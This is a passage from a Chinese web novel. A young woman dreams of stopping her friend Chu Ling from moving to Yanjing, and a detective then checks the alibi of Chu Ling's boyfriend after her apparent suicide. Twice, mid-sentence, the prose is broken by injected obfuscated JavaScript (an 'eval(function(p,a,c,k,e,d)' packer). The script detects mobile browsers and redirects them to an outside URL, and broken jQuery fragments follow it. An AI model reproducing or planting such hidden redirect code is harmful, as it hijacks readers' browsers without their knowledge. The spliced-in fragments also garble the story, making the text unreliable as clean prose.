“我想让你劝她,不要来燕京。”叶微瑄看着顾锵然的眼睛,认真说道。 劝阻楚零不要来燕京,令叶微瑄产生了强烈的罪恶感。顾锵然是楚零的初恋,楚零心思单纯,希望可以和对方有个好的结果。撺掇顾锵然劝楚零毕业后回老家或者去其他城市,无异于让他和女朋友分手,叶微瑄知道其中的利害。顾锵然也不傻,当场拒绝了她。 “我希望零零来燕京。”顾锵然红着脸,吐露心声,“而且我有结婚的打算,只是没和她说。” 他性格内敛,能这么说显然是真心话。 “小瑄,我长这么大很少自己做决定。我被动的成长在单亲家庭,几乎没感受过父爱。小学、初中、高中,就像被设定好的十二年,稀里糊涂的就过来了,连高考志愿都不是我填的,是我妈替我选的学校和专业。直到大学……”他尴尬地笑笑,“我才发现自己拥有做选择的权利。” “选择的权利?” “对。今天吃什么、是否去上课,要不要出去玩……以及和谁谈恋爱。” “锵然,我不是这个……” 顾锵然伸出一只手,打断她的话。他没有生气,表情十分诚恳。“不管你信不信,我对零零是认真的。零零是一个单纯的女孩,在很多方面都十分支持我。我不能辜负她,我想和她结婚。” 叶微瑄印象中,顾锵然很少大声说话。今天也是如此,只是他的语气听上去像是在发誓。 她轻叹一口气,目光落在顾锵然的脸上。对方的脸很红,显然是鼓足勇气才吐露心声的。“锵然,我相信你。我不是让你和零零分手,只是让你劝劝零零别来燕京。毕竟……毕竟她的父母需要她。而且,你可以陪她去别的城市啊,一样可以结婚。” “我妈怎么办?” “那人家爸妈怎么办?” 可能没想到叶微瑄会反问,顾锵然一时愣住了。 “锵然,你的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506572|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是好的。但你想过没有,结婚涉及两个家庭。首先,双方父母要同意;其次,大家都是独生子女,你们这样的情况势必有一人要做出让步;最后,你不能想当然的就认为该做出让步的是女生,除非她愿意。她和你一样,也有选择的权利。” 叶微瑄的执着吓到对方了,也可能是不理解,顾锵然的喉结在缓慢蠕动。“总之,你好好想想吧。”她撂下这句话转身离开,留下目瞪口呆的顾锵然。 丢下顾锵然,叶微瑄又去找了马暗尘。 “劝零零不要去燕京?”马暗尘露出一副迷惘的表情,“为什么要劝啊?我毕业也要去燕京。我都想好了,到时咱们几个……” 叶微瑄没心情听马暗尘畅想未来,丢下对方回到女生宿舍,将喜欢在白天睡觉的陶涂涂拽下床。 “为什么要劝啊?零零想和锵然结婚吧?你这不棒打鸳鸯嘛。”陶涂涂眯着眼睛看她,“难道你对锵然有想法?你可是——” “打住。” “老实说,大一时你和锵然玩的那么好,我以为你俩是一对呢。” 叶微瑄彻底无语。“乖,去睡觉吧。” 日升月落,楚零又和她提过几次工作的事,她都会拐弯抹角的劝阻对方。三番五次得不到支持的结果,对方看她的眼神从迷惘变成不解。楚零最后一次问她时,她直接告诉对方——燕京不合适。经历了短暂的沉默后,她们不欢而散。 为表明决心,叶微瑄试图远离楚零。独自上公共必修课、不一起吃饭、再也不去图书馆,楚零来宿舍找她,她会以睡觉为由轰走对方。 【小瑄,你怎么了?】 楚零多次发消息询问,她也只是简单的回复两个字——“没事。” 或许冷漠可以劝退楚零,让对方不再对燕京抱有期待。楚零说她就像她的亲人,那么她的态度与对方而言一定很重要。 只可惜,事态似乎没有朝她预想的方向发展,并且急转直下。听马暗尘说,包括楚零在内的几人商量好了,毕业齐聚燕京。 为什么非来燕京不可呢?叶微瑄望向教室前排单薄的背影。哪怕绝交,她也要阻止楚零去燕京! 脑海中奇怪的声音终于表达出完整的意思——“楚零不能来燕京,会发生不好的事情,她会死的。” “零零!”铃声响起,她急切地跑向前排,拉住楚零的胳膊。顾锵然也在,他惊讶地愣在原地,看向叶微瑄,又看向楚零,一副不知所措的模样。 楚零也有点惊讶,稍稍睁大眼睛。 “我有事找你。” “什么事?” “咱俩单聊。” 楚零垂下视线,再抬头时,眉宇间的疑惑消失了,并露出熟悉的笑容。“正好我也有事找你。”她说,“但我现在没时间。晚上六点,咱们道岔见。”没等叶微瑄回答,她挽住顾锵然的胳膊离开教室。 晚上叶微瑄到的时候,楚零已经到了。夕阳余晖,对方的影子拉的很长,瘦弱的背影在晚霞的映照下倍显孤单。 “小瑄。”楚零没有回头,可能是听见了脚步声,“你来了。” “嗯,等了多久?” “好久。” “啊?” “我等你找我等了好久。”楚零回头。她的嘴角挂着一丝笑容,只是那笑容看着有些苦涩。“你是不是有话对我说?”她问。 “是。零零,毕业不要去燕京。”叶微瑄开门见山地说道,“不要去。”她不断重复这三个字。 “为什么?” “燕京不适合你,去别的城市你会有更好的发展。” “真的只是这样吗?”楚零用眼神表达心中的意思。 “你的父母不是希望你回老家吗?听他们的话。”叶微瑄说,“和他们在一起,你能拥有幸福平稳的人生。” “没有锵然的人生会幸福吗?” “啊?” “啊什么?难道不是吗?”楚零的语气忽然变得生硬,“毕业各回各家,我和锵然就只能分手。锵然是不会和我回老家的,也不会和我去别的城市发展,这是显而易见的事。事实上,他也是这么和我说的。” “顾锵然这个拖油瓶,他这么坚持会害了零零的。”叶微瑄只在心里说出这句话。 “你私下找过锵然,对吗?” “你知道了。” “嗯,锵然告诉我了。他说,你让他劝我不要去燕京,因为我的爸妈不想我去。” 她说过吗?叶微瑄想不起来了。即使说过,也绝不是楚零语气中表达的意思。“零零,你别生气,我不是那个意思——” “小瑄。”对方打断她,脸颊泛红,“我很生气,但我生气的不是你说了什么,而是我刚找你聊完心事,你就转身告诉我的男朋友。是否去燕京——不是应该等我亲自和他聊吗?你为什么要在背地里搞小动作?” “对不起……” “还有,我实在想不明白,你为什么不想我去燕京。说实话,我挺失望的,我以为你了解我。” “零零,我明白你的意思,但我无法支持你。”虽是懊恼,但叶微瑄依旧保持强硬的态度,“即使我们的友情可能完了,我也不会支持你去燕京。” “为什么?” “没有为什么,回到父母身边是你最好的选择。” “若是担心我的爸妈,那就大可不必。锵然说了,他以后会把我爸妈接到燕京。我相信他。” 顾锵然有这个能力吗?叶微瑄在心里质疑。她无力地看向远方,天边晚霞似火,灵动而闪耀。刺眼的警灯、喋喋不休的围观群众、边何的脸,似曾相识的画面呈现在巨大的天空幕布上。不安的情绪堵住胸口,余晖倒映,她的眼圈红了。 “小瑄,你是不是有事瞒我?”楚零问。 “我能有什么事瞒你。”她依然盯着那些画面。 “你对锵然……我听别人说……你以前可能喜欢过……” “别人是谁?陶涂涂?” “别管了。” “好,你相信吗?” 楚零用沉默告诉叶微瑄答案。 “小瑄。不管谣言是不是真的,我都已经决定了。无论如何,我都要去燕京发展。” “为什么非要去呢!”叶微瑄几乎要吼出来了。无效的劝阻、朋友的误解,情绪崩溃只在一瞬间。眼泪夹杂着复杂的心情夺眶而出。“为了顾锵然?” “为他,也为我自己。” “为你自己就不能去!” “理想的工作、幸福的婚姻、稳定的生活是我追求的,你明明知道的。”面对渐渐失控的叶微瑄,楚零语气平淡。她从裤兜掏出一样东西,举到眼前。金属制的物品在夕阳下散发出金色光芒。“这是你送我的第一件礼物,我把它还给你。” 叶微瑄擦了擦眼泪,目光移向楚零的掌心,正是那枚金属书签。 “拿着。”楚零将书签塞进叶微瑄的左手,“我想自己待会儿。”她扭头,躲避叶微瑄震惊的目光。“你走吧。”见叶微瑄不动,她背对来时的方向,向前走去。 “别去燕京。求你了,别去!”叶微瑄大声喊道,“算我求你了。” 楚零仿佛失去了听觉,沿着铁道径直前行。瘦小的背影渐行渐远,叶微瑄小跑追了上去,试图在日落之前抓住对方。 “零零,别去燕京。”她大叫着伸出胳膊,只是什么也没抓到。 楚零消失了。 夕阳落幕,黑夜降临。 6. 书签4 房间内传来急促的吸气声,叶微瑄从梦中惊醒,心脏就像被压缩的海绵,疲软地跳动着。她以为自己哭了,擦了擦眼角却十分干涩。外面天还没亮,但房间开着灯,明亮的灯光稍稍缓解了梦境带来的压抑感。 她深吸几口气,松开紧握的左手。那里刺痛异常,属于自己的那枚书签差点割破她的掌心。她将书签重新别回词典中,关上灯,躺在床上仰望天花板。 梦境很真实。安静的图书馆、熙熙攘攘的食堂、长满杂草的道岔口,全部是叶微瑄记忆中的样子。 大三的某一天,楚零与她相约图书馆。也就是那天,楚零向她倾诉心中的犹豫。“当然要来燕京发展。”——当时她是这么回答楚零的,几乎没有思考。她还说:“如果担心父母,就努力工作,以后把他们接到燕京生活。” “谢谢你,小瑄。”叶微瑄始终记得,楚零说这话时明亮的眼神。那眼神带光,充满希望。 梦中的画面渐渐消失,昔日的记忆却长存于脑海中。叶微瑄望着黑漆漆的天花板,抹了抹眼睛。现实与梦境果然是有区别的,泪水顺着眼角划过耳廓,她哭了。 她不太记得梦里的对话了,梦中的无力感正在消失。她只记得自己试图劝阻楚零,希望对方不要来燕京。怎么可能呢?她为睡前的想法和梦中的自己感到可笑。时间倒流一百次,给她一百次重新选择的机会,她也不会阻挠楚零来燕京。她对这点坚信不疑。 不来燕京零零就不会出事吗?或许没有必然关系。她翻了个身,面对墙壁。人生就像一列火车,路过一个又一个道岔口。会途径什么样的风景?无人知晓。 她胡思乱想了一会儿,睡不着又玩了会儿手机。有几条马暗尘的消息,大致意思就是:他和顾锵然已将楚零的父母送上火车,几人留了联系方式,若有需要会尽力帮忙。马暗尘还问她最近是否能见一面,说是想和她聊聊楚零。 除了边何,叶微瑄暂时不想和任何人聊楚零。“改天再说。”——她没多想,如此回复消息。 …… 【小瑄,边警官最近又找过你吗?他忽然约我在家里见面。零零的案子不是已经结了?】 叶微瑄收到这条消息是在楚零葬礼的一周后,又是一个周日。此时她正在家里试衣服,明天有一个较为重要的工作面试,也是她比较感兴趣的。公司的主营业务与人工智能研发有关,目前在招合适的新媒体运营人员,应届生优先。该公司已在海外上市,无论是背景还是薪资水平都令叶微瑄感到满意,意图在爸妈面前扬眉吐气的她很重视明天的面试。 边何找顾锵然干嘛?叶微瑄念叨着微信的内容,脱掉黑色西裤,这条裤子让她看上去老了十岁。难道有新发现?她换回条纹卡通睡裤,坐在床边拿起手机,回复消息。 【我不知道,他没找过我。】 没找过小瑄……顾锵然对着手机发呆。零零的遗体上周火化,案子已画上句号,按说警察该去忙别的了,找他做什么?难道是案子有了新的变故? 他做了一次深呼吸,楚零的笑脸浮现在他的脑海中。叶微瑄曾说楚零笑起来像阳光下盛开的花朵,他也是这么认为的。此时此刻,那笑容就如花香一般蔓延,在他的周围挥之不去。 “您好?” 有人敲门,顾锵然回过神。边警官这么快就到了?他看了一眼手机,从电话告知到对方出现在家门口不过五分钟的时间。根据时间推算,边何是到了胡同口才打的电话。 他拉开陈旧的防盗门,身着灰色运动服的边何就站在门口,朝他释放出一个善意的笑容。“边警官。”他客气地打招呼,侧身邀请对方进屋,“位置不太好找吧?” “还行。”边何的语气颇为轻松。 市中心的胡同七弯八绕,对于不熟悉胡同的人来说容易迷路。边何不是本地人,感受不到胡同文化。胡同在他心中就是灰突突的一片建筑,道路错综复杂,而且脏乱差。但他的师父不这么认为,对方也不是本地人,却对胡同情有独钟。 “尝试了解胡同,也许你能看到这座城市最初的样子。” 师父的言语中带有明显的情怀。边何也是后来才知道,他师父的师父是在胡同长大的。不幸的是,对方在执行海外任务时牺牲了。 出于对师徒情的怀念,他的师父偶尔会叫他一起去胡同散步。正因如此,边何对各大胡同的结构了如指掌。不过即使是对胡同有了一定的了解,边何依然没有改变之前的看法。胡同凌乱、拥挤、狭窄,处处可见裸露的电线和横跨院墙的晾衣绳,唯一的优点大概是藏在杂物下的一丝烟火气。 顾锵然就住在这样的胡同内。这条名叫“红寺”的胡同在燕京当地颇有名气,尤其是胡同深处的小学。顾锵然家所在的四合院距离胡同口大概一百米的距离,院内被分隔成四户,他家占了两间大北房,总共不到三十平米。北房后面还有一个单独的小院,十平米左右。 “抱歉,家里有点乱。”顾锵然将边何迎进门,“没来得及收拾。喝点什么吗?” “水就可以。”边何脱掉羽绒服。他举着羽绒服站在左手边的衣架前,但上面挂满了衣服,有大号也有小号,看风格有顾母的衣服。 “给我吧。”顾锵然接过他的羽绒服,放到一旁。 他道了一声“谢谢”,在入户门右边的餐桌旁落座。“咱俩年纪差不多,你不用这么拘禁。”他一边说,一边环视四周。 这间屋子十几平米,连接另一间北房和后院,白天被当作客厅,晚上是卧室,墙的一侧摆着一张复古原木色的沙发床。这也是边何为什么没有坐沙发。通向院子的小木门旁置有同样颜色的老款衣橱,不出意外,沙发床属于顾锵然的母亲。 “你妈妈没在?”边何随口问道。 他趁工作之余调查过楚零和顾锵然的生活背景,包括顾锵然的家庭情况。顾锵然的父亲去世早,他随母姓。顾母目前在国际学校从事教务工作。 “我记得你说,你和你妈妈一起住。” “嗯,学校放假了,我妈出去散散心。” “散心?因为楚零?” 听到已故女友的名字,顾锵然重重地靠向椅背。“是的。我妈岁数大了,接受不了零零去世,哭了好几天。我妈朋友在崖州有套空房子,可以暂住,我就送她过去了。和她一起去的还有她的两个同事。” 崖州是南方的海岛城市,边何出差去过。那里四季如春,碧海蓝天,确实适合散心。“看来你妈妈知道你们的事,她见过楚零吗?” “见过一次。” “冒昧的问一句,你妈妈为什么没有参加楚零的葬礼?” “是我不让。我妈一直盼着我结婚,零零自杀对她的打击很大,参加葬礼只会让她更痛苦。她岁数大了,我不想让她承受二次打击。” 顾锵然与楚零没有结婚,他的母亲也没有必须参加葬礼的义务。边何点头表示理解。“你和楚零打算结婚?” “算是吧。” “算是?” “是想结婚,但还不是时候。我刚进入新单位,工作很忙,暂时没有能力结婚。你看我家……”顾锵然看向周围,露出一个无奈的眼神,“不过我答应过零零,等我在单位稳住脚,我们就结婚。” 就在边何想说什么的时候,顾锵然又开口了:“其实说这些也没用了,早知道毕业就应该结婚。如果能早点住到一起,就不会发生这么糟糕的事了。” 是这样么?边何不置可否。但看得出来,顾锵然很懊恼。对方双肘撑在桌上,不停地搓头发。 顾锵然对楚零的感情是真情实意的,边何愿意相信对方。做出这样的判断不是因为对方当下痛苦的表现,叶微瑄、马暗尘、陶涂涂都向他证实过这件事。 他掏出迷你平板电脑和触控笔,点开与顾锵然有关的笔录,查看对方的不在场证明。“我来是想和你确认几件事。案发当天你在哪里?”他抬头,看向顾锵然的眼睛。 顾锵然听闻,眉毛拧在一起。“是案子有了新变化吗?”他关切地问道,“你是在确认我的不在场证明?难道零零不是自杀?” “现在还不确定。”边何也不瞒对方,只是用抱歉的语气说,“我在做分内之事,可能会让你感到不愉快,但请你配合。” “没关系,你是比较客气的警察了,甚至不像警察。言归正传,那天我在家,晚上给零零打过电话。” “我知道。通话记录显示你是晚上九点左右打的电话,准确的说是20:58分。有谁能证明你整天都在家吗?” “我妈算吗?” “不算。” 边何盯着笔录,上面写着:“案发当天顾锵然和母亲在家,已致电对方母亲确认。”真是糊弄,他在心里骂了一句办案民警。既往案例中,父母包庇儿女恶行的案例不在少数,更有甚者,会帮助儿女伪造证据。 “有其他人可以证明你在家吗?” “我想想。”顾锵然挠挠后脑勺,盯着空气中的某个点,好像是在思考,“那天大太阳,我刷了零零送我的两双篮球鞋。“他指向朝南的窗台,“外面晒鞋的时候,东屋的大爷出来浇花,我们聊了两句。” 边何顺着对方手指的方向看去,那里晾着两副老式绣花鞋垫,看大小是女人的尺码。造型传统,且无增高效果的鞋垫现在很少见了,想必是顾锵然母亲的。 “零零总埋怨我,说我从不刷鞋。那天天气好,我就给刷了。我本打算第二天穿干净的鞋去见她,没想到会出这样的事。” 边何听闻收回视线,目光重新落在顾锵然脸上。胡同附近有不少摄像头,只是胡同七万八绕,胡同口又多,排查难度比较大。正值冬季,戴口罩的人也多,人脸识别存在一定的困难,不然可以通过排除法确定顾锵然是否出门。他已查过各胡同口21:00至22:00的摄像头,没有发现疑似顾锵然的身影。 要先确定范围才行。对方可能早早出门,并且很晚才回家。“你大概几点刷的鞋?”边何敲了敲笔,问道。 “下午一点左右。” “我能看一下那两双鞋吗?” 顾锵然“嗯”了一声,起身前往卧室,再回来时手里拎着两双干净的白色篮球鞋。“就是这两双。零零出事后,我就再也没穿过。” 边何放下平板电脑。他喜欢收集球鞋,对球鞋有一定的了解。顾锵然手中的两双鞋是常见的款型,一个是新款,一个是旧款。 新款是今年才上市的,从磨损程度判断,应该没穿过几次。相较之下,另一双球鞋显的比较旧。鞋帮破损严重,鞋头部位的皮革褶皱不堪,鞋底几乎磨平了,看着硬邦邦的。 “旧鞋是零零大学时送我的生日礼物,那时我们刚交往半年。”见边何一直盯着旧鞋,顾锵然解释道,“你能明白她为什么说我了吧?这双鞋一穿就是三四年。在我的印象里,好像只有零零帮我刷过一次。” “楚零家不富裕。这双鞋虽然不贵,但也几乎是大学生一个月的生活费了。” “是的。”顾锵然扭头看向窗外,“为了买这双鞋,零零打了两份工。我一开始不知道这件事,是小瑄告诉我的。我能和零零在一起也多亏了她,是她介绍我们认识的。小瑄说,那个傻丫头为了送我礼物,在食堂永远选最便宜的荤素套餐。” 他用力睁了睁眼睛,眼眶周围因克制而泛红。“算了,说这些没用了。总之,是我不好,没能尽到保护的责任。” “有些事不是你能左右的。” “是吗?” “目前的结果就是这样。” “可我不这么认为。如果我能果断的和她结婚,将她接到家里来,她就不会出事。我不该让她自己住在外面。” 顾锵然的语气中透着后悔,但边何好像也无法同情对方。“如果给你一次重新选择的机会,你会把楚零接到家里住吗?”他抛出一个不合时宜的问题,环视四周,“说实话。” “为什么不会?” “那你当初为什么不这么做?” “我……”辩驳的言语卡在嗓子眼,顾锵然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506573|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔住了,做了一个吞咽动作。 “我说话可能是难听,但不得不说,面对曾经错误的选择或者决定时,我们通常会后悔。这没用、那没用,可即使有了重新选择的机会,我们也可能做出与当初相同的选择,因为总是有这样那样的原因干扰我们的判断。人们做事的时候会权衡。若当初困扰人们的问题没有消失,那么人们就依然会犹豫。” 见对方沉默,边何笑了笑。 “更何况,很多事根本就没有对错,只是人们为满足欲望产生的最真实的想法。举个例子吧,很多人炒股时会为自己设置止盈止损线。可是,当股价涨跌到一定程度时,能够按计划抛掉股票的人又有多少呢?这个时候,不少人会对自己说,计划赶不上变化,人要变通。于是他们没有抛掉股票,最后都赔了。知行合一不是一件容易的事,事后后悔也就在所难免了。” “我下次一定不这样。”“再也不会这么做了。”“我知道错了。”既往侦讯中,边何听过太多这样的话。普通人其实也一样。边何偶尔会想,世界上最难打败的敌人就是自己,他有时也会为此感到困扰。不过恰恰,这也是人和机器的区别。 见顾锵然不发一语,脸色阴沉。边何清了清嗓子,说:“你别生气,我只是告诉你,没什么可后悔的。” “是,而且你不是我,又怎么知道我是怎么想的。”顾锵然罕见地提高音量。 边何沉默了几秒。“是啊,我不是你。”他垂下视线,再度看向两双球鞋,“是我说多了。我能给这两双球鞋拍张照片吗?” “当然,你是警察,我没有理由拒绝。” “谢谢。我还有几个问题要确认。”他用手机给球鞋拍了两张照片,并发出一条消息,“案发前,你和楚零最近一次见面是什么时候?” “周二一起吃了晚饭,但她身体不舒服,早早回家休息了。” “案发当晚,你和楚零在电话里说了什么?就没有察觉出异样吗?” 同样的问题回答很多遍,令顾锵然感到焦躁和内疚。那通电话就像噩梦一样,是他最不想回忆的事情。“那天她感冒了,可能有异样我也没听出来。我们的聊天很正常,除了商量第二天逛公园的事,还聊了聊工作生活。” “你们约的哪家公园?” “西郊公园,那里人少清净。” “几点?”微信聊天记录中,没有提到二人相约的时间。笔录里也无相关记载。 “没有具体时间。” 边何不解地“嗯”了一声,抬头看向对方。 “我先去零零家找她,然后再一起过去。是出去玩,又不是工作。” 这倒是能解释顾锵然发现尸体一事,边何将缺失的信息填到笔录中。“问个题外话。” “你说。” “你觉得楚零会自杀吗?” “我……我不知道。”顾锵然看上去有些垂头丧气,“既然你们说她是自杀,那就是自杀。事实证据面前,我怎么认为也没用吧。” 果真如此啊,与预料中的答案相符。种种迹象表明,顾锵然爱楚零,可他没有对楚零自杀提出质疑。二人之间似乎缺点什么……想到这里,叶微瑄言之凿凿的表情在边何大脑中一闪而过。就是这么一瞬间,他察觉到二人间缺的是什么了。也许是信任,若不是,那顾锵然在这起案件中的角色恐怕就没那么简单。 “我要确认的就这么多。”边何收起平板电脑,“如果你为没能保护楚零而自责,就尽可能的回忆,对方生前是否遇到了什么难事。我不相信楚零是一个能把心事藏得滴水不漏的人。如果想起什么,请你及时联系我。” 顾锵然长吐一口气,点头。“我知道了。” 边何拍拍腿起身,再度环视这个房间。“方便的话,请带我去后院看看。”顾锵然没有拒绝。 后院不大,呈长条状,墙角堆着杂物,盆、纸壳、凳子之类的,基本属于废弃的状态。墙体两侧有红色的铁钩,估计是挂东西用的。院子的一端有个简易的棚子,两平米左右,是顾锵然家的厨房。除此之外,院墙边摆着一排耐寒的植物,有几盆叫不上名字的植物很眼熟,好像在楚零家见过。 “这是什么?”边何指着其中一个花盆,绿色植株上挂着小而精巧的红色果实,就像鲜艳的玛瑙,“我在楚零家见过。” “冬青,是很常见的植物,山里随处可见。虽是平凡,却是耀眼。” “虽是平凡,却是耀眼……”边何重复着这句话。 “是的,这话是零零说的。她说如此普通的植物,却能抵住严寒,在寒冷的环境中结出鲜艳的果实,为暗淡的冬日增添色彩。她能在小小的果实中感受到生命的韧性和多姿多彩。零零家那盆冬青就是从我家移栽过去的,她很喜欢。” “原来如此。”边何由衷地露出一个笑容,“她来过你家?” “是的,夏天来过,就是那天见的我妈。但你也看见了……”顾锵然苦笑道,“我家太小,实在是委屈零零,这也是我不叫她来家里住的原因。而且平时我妈在,我俩想做点什么也不方便。” “能理解。楚零是自己负担房租吗?” “是。”顾锵然不好意思地挠挠额头,“我刚工作,五险一金扣得多,到手没几个钱,还要交给我妈一部分。剩下的钱只能满足我和零零的日常生活。不瞒你说,我连存款都没有,所以帮不了零零。” 边何道了一句“明白”。兜里的手机在振,他看了一眼,嘴角上扬。“今天打扰了。”他微微颔首,回到客厅,朝门口走去。 “边警官。”顾锵然大步上前,站到边何的面前,“等……”他犹豫着开口,“我不知道你在调查什么,但等案子彻底了结,你能不能告诉我一声?” 顾锵然走到桌前拿起两双篮球鞋,努力挤出一个笑容。“恋爱这几年,我们互相送给对方不少礼物。零零不在了,我想这些东西该有一个属于它们的去处。” 边何点头。“明白了,我会告诉你结果的。”说完,他推开门走了出去。 7. 篮球鞋1 边何的微信是半个小时前发的,叶微瑄刚刚才看到。对方给她发了一张照片,上面有两双干净的篮球鞋。她眼前一亮,心里热热的。“当然认识啦,是零零送给锵然的。”——她是这么回复对方的。 警察这么八卦吗?连人家送的礼物都要调查一番。她坐在床边,按捺不住想吐槽的心情。床上放着一条浅色牛仔裤和一件白毛衣,她终于还是决定穿的休闲一点去参加面试,以对得起自己应届毕业生的年纪。 另外,她打算明天面试结束后回趟家。叶建文和丘静早已知晓楚零的事,叶微瑄资助楚零父母办理丧事的份子钱就是他们给的。楚零在叶家住过一段时间,在叶父叶母心中,楚零是一个成熟懂事、不爱给别人添麻烦的人。他们很难相信,这样一个好孩子竟然会上吊自杀。 难得和爸妈的意见一致,叶微瑄为此感到欣慰。她将毛衣和裤子挂到衣架上。仔细想想,爸妈大部分时间还是很支持她的。不想和家里住,就为她腾出房子。不仅每个月按时给她打生活费,还在她遇到困难时主动给予帮助。所以为什么不回家?她在逃避什么?她知道答案,只是不想承认。 她收拾好衣服。床的某个部位传来持续的振动音,有人给她打电话。她寻着声音爬到床上,摸索半天发现手机在床头的缝隙里。怎么又掉进去了……她使劲挪了一下床垫子,伸长胳膊,将手机够了出来。屏幕上沾着很多毛毛,来电显示是边何。 她捋了捋脸两侧凌乱的头发,接通电话。电话的另一头很吵,好像有报站的声音,对方可能在地铁里。“什么事啊,边大警官。”她随意地问道。 “你的语气听上去很风尘。” 风尘?叶微瑄简直不敢相信自己的耳朵,这是什么老土的形容,而且竟然用在她的身上。“有事没事?”她没好气地回了一句。 “能见一面吗?” “干嘛?你不是在顾锵然家么。有新发现?” “没有。我有事问你,是关于楚零的。” “有也不会说吧,每次都是这样。”她小声嘟囔,“电话里不能说吗?” “还是面谈比较好。” “好吧。哪见?我明天有场面试,不想去太远的地方。” “我在去你家的路上。” 来家里?合适吗?这人平时看着很有礼貌,言语行为却有些冒失,根本不像传统印象中的警察。叶微瑄皱起眉毛,一时语塞。 “大概半小时后到。”对方没有感受到她的不满,好像也没和她商量,“不会占用你太久的时间。” 碍于面子,叶微瑄说了一句“好吧”。边何得到满意的答复后,立刻挂断电话。 虽然觉得莫名其妙,但叶微瑄还是期待对方的到来。边何一定是查到什么才找她的,就算对方不愿意说,她也能旁敲侧击的打探。而且直觉告诉她,边何很信任她,不知是有意还是无意,对方会向她透露一些案情的细节。 边何半小时后到,叶微瑄顾不上多想,简单收拾了门厅和客厅,并关上卧室门。很多天没洗头了,她打算明天早上洗,并最终坚持这个想法。于是,她冲了冲头发帘,扎了一个低马尾。见边何没必要化妆,只要看着不埋汰就行。 半小时后,边何准时按响叶微瑄家的门铃。 “换鞋,衣服挂上面。”叶微瑄瞥了一眼鞋柜,那里有一双准备好的一次性拖鞋,“喝点什么吗?” “有冰饮料吗?”虽然是冬季,但边何的额头上有一层细密的汗珠。 “有,你去客厅坐吧。” “好,谢谢。” 叶微瑄家的客厅还算宽敞,阳台附近象征性的摆着几盆花花草草。这些植物长得很不规整,好像从未被修剪过,泛黄的叶子夹杂其中,周围的土也被碎叶覆盖。花盆下方托盘的水位线暴露一个事实——植物的主人上周浇过水,而且浇多了。 阳台与客厅衔接的部分有一个小吧台,吧台一侧像是酒柜的格子里放着各式各样的小酒版和一瓶700ml的威士忌,顶层摆着一只手捧玫瑰花的棕色毛绒小熊。小酒版可能是用来装饰的,威士忌倒是打开了,喝了三分之一左右。 挺有格调的,边何忍着笑意落座。能看出来,叶微瑄为招待客人简单收拾过。电视柜、茶几、书桌的表面很干净,几乎没有东西。但对方应该收拾的很仓促,两根数据线在电视柜的抽屉边缘支棱着,柜子与零食篓之间的缝隙里夹着一包无辜的麻辣鸭舌。 叶微瑄从冰箱里取出最后一瓶红茶,在客厅的茶几旁席地而坐,给自己和边何各倒一杯。边何见状,屁股脱离沙发顺势滑溜到地上。 “你今天为什么找锵然?”叶微瑄率先开口,“你怀疑他?” “没有。”边何摆摆手,“我只是去确认他的不在场证明。” “零零出事前他们通过电话的,锵然当时不在零零身边。” “是,但这不能证明什么。”他认真地看向叶微瑄,对方耸着眉毛,神色迷惘,“我问你,如果我把你杀了,然后在现场拨通电话呢?” “什么?”叶微瑄恍惚了一下,不由得倒吸一口凉气,感觉身上的汗毛都立起来了。她搓了搓胳膊,示意边何把搭在沙发扶手上的毛毯递给她。 “是不是?短信和微信聊天需要解除锁屏才可以,但接电话却不需要。至少部分手机是这样,不信你试试,除非特意的设置过。”边何笑笑,“法医对死亡时间的判断无法精确到分秒,所以通话记录证明不了任何。” “那你还是怀疑他啊。” “我怀疑任何人。他是死者的男朋友,对方在燕京最亲近的人,理论上讲,是最值得被怀疑的。” “也是。而且就算需要解锁屏幕接电话,锵然也可以做到。零零和我说过,他们知道彼此的手机密码。” “啊,确定吗?” “确定。零零的手机密码是锵然生日,锵然的手机密码是零零生日。怎么了?”叶微瑄原地蛄蛹了几下,内心忐忑。她好像在提供与朋友有关的线索,这感觉真不怎么样。尤其是想起葬礼上顾锵然痛苦的表情,罪恶感油然而生。“锵然是不是……”话到嘴边,她问不出口了。 “没有。”边何皱着眉毛,摇摇头,“我确认过,他有不在场证明。” 离开顾锵然家后,边何不是直接找的叶微瑄,而是先去拜访了顾锵然的邻居,那位住在东屋的大爷。大爷证明顾锵然白天确实在家刷鞋。除此之外,还有一个意外收获。 “然然是摊上什么事了吗?”留着光头的大爷一边摆手,一边摇头晃脑,“那孩子很乖的,绝对不会做伤天害理的事。老顾天天叨叨他,也很少见他急眼。”“老顾”指的是顾锵然的妈妈。 “是。您再仔细想想,那天除了下午,您还见过他吗?” “没有……诶,不对!”大爷左手拍右手,吓了边何一跳,墙上的笼中鸟被惊到了,扇了扇翅膀。“那天晚上,我正要上床睡觉,听见老顾在院子里念叨。她嫌儿子不会刷鞋,鞋都刷起皮了。” “您记得大概是几点吗?” “九点。”大爷斩钉截铁地说道,“后来然然出来了,让老顾小点声,说是正在和女朋友打电话。‘大九点了还打电话。’没错,老顾是这么说的,她肯定是吃儿媳妇的醋咯。” “儿媳妇?” “然然女朋友长得可漂亮了,我见过一次。都见家长了不是儿媳妇是什么?这小子真有福气。” 大爷说这话时的表情,让边何觉得对方可能是真的羡慕。不管怎么说,大爷所言与顾锵然所述完全吻合。案发当日的21:00,顾锵然在家。21:00至22:00期间,没有摄像头拍到过顾锵然的身影,也就是说,他有完美的不在场证明。 